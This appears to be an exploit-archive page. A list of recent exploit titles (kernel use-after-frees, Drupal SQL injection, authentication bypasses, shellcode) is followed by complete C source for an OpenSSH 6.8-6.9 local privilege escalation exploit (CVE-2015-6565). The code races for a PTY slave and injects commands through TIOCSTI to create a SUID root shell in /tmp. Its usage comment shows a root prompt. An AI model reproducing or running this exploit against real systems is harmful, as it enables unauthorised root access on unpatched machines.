d0b74905e8
17 new exploits Google Android - 'pm_qos' KASLR Bypass macOS 10.12.1 / iOS 10.2 - Kernel Userspace Pointer Memory Corruption macOS 10.12.1 / iOS Kernel - 'IOService::matchPassive' Use-After-Free macOS 10.12.1 / iOS Kernel - 'host_self_trap' Use-After-Free Systemd 228 - Privilege Escalation (PoC) OpenSSH 6.8 < 6.9 - 'PTY' Privilege Escalation Autodesk Backburner Manager 3 < 2016.0.0.2150 - Null Dereference Denial of Service Haraka < 2.8.9 - Remote Command Execution Linux/x86_64 - execve /bin/sh Shellcode (22 bytes) Drupal 7.0 < 7.31 - SQL Injection (SA-CORE-2014-005) (1) Drupal 7.0 < 7.31 - SQL Injection (1) Drupal 7.0 < 7.31 - SQL Injection (SA-CORE-2014-005) (2) Drupal 7.0 < 7.31 - SQL Injection (2) Pear HTTP_Upload 1.0.0b3 - Arbitrary File Upload KB Affiliate Referral Script 1.0 - Authentication Bypass KB Login Authentication Script 1.1 - Authentication Bypass KB Messages PHP Script 1.0 - Authentication Bypass Web Based TimeSheet Script - Authentication Bypass TM RG4332 Wireless Router - Arbitrary File Disclosure PHPBack < 1.3.1 - SQL Injection / Cross-Site Scripting Polycom VVX Web Interface - Change Admin Password
83 lines
No EOL
2.1 KiB
C
Executable file
83 lines
No EOL
2.1 KiB
C
Executable file
/*
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* not_an_sshnuke.c
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*
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* Federico Bento
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*
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* up201407890 () alunos dcc fc up pt
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* https://twitter.com/uid1000
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*
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* OpenSSH 6.8-6.9 local privilege escalation - CVE-2015-6565
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*
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* Considered mostly to be a "DoS", turns out to be a priv esc vuln.
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* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6565
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*
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* Shoutz to Jann Horn for the detailed analysis
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* And also to all my elite colleagues, specially xSTF :)
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*
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*
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* $ gcc not_an_sshnuke.c -o not_an_sshnuke
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* $ ./not_an_sshnuke /dev/pts/3
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* [*] Waiting for slave device /dev/pts/3
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* [+] Got PTY slave /dev/pts/3
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* [+] Making PTY slave the controlling terminal
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* [+] SUID shell at /tmp/sh
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* $ /tmp/sh --norc --noprofile -p
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* # id
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* euid=0(root) groups=0(root)
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*
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*/
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <fcntl.h>
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#include <stdio.h>
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#include <unistd.h>
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#include <sys/ioctl.h>
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int main(int argc, char *argv[])
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{
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char *cmd = "cp /bin/sh /tmp/sh; chmod u+s /tmp/sh\n";
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int pid, pts = -1;
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if(argc != 2) {
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fprintf(stderr, "Usage: %s /dev/pts/X\n", argv[0]);
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fprintf(stderr, "Where X is next slave device to be created\n");
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return 1;
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}
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if(!access(argv[1], F_OK)) {
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fprintf(stderr, "[-] %s device already exists\n", argv[1]);
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return 1;
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}
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pid = fork();
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if(pid < 0) {
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fprintf(stderr, "[-] fork failed\n");
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return 1;
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}
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if(pid == 0) {
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printf("[*] Waiting for slave device %s\n", argv[1]);
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/* win the race by opening the PTY slave before sshd's child */
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while(pts == -1)
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pts = open(argv[1], O_WRONLY);
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printf("[+] Got PTY slave %s\n", argv[1]);
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printf("[+] Making PTY slave the controlling terminal\n");
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dup2(pts, 0); dup2(pts, 1); dup2(pts, 2);
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setsid();
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ioctl(0, TIOCSCTTY, 1);
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while(*cmd)
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ioctl(0, TIOCSTI, cmd++);
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}
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else {
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wait(NULL);
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printf("[+] SUID shell at /tmp/sh\n");
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return 0;
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}
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} |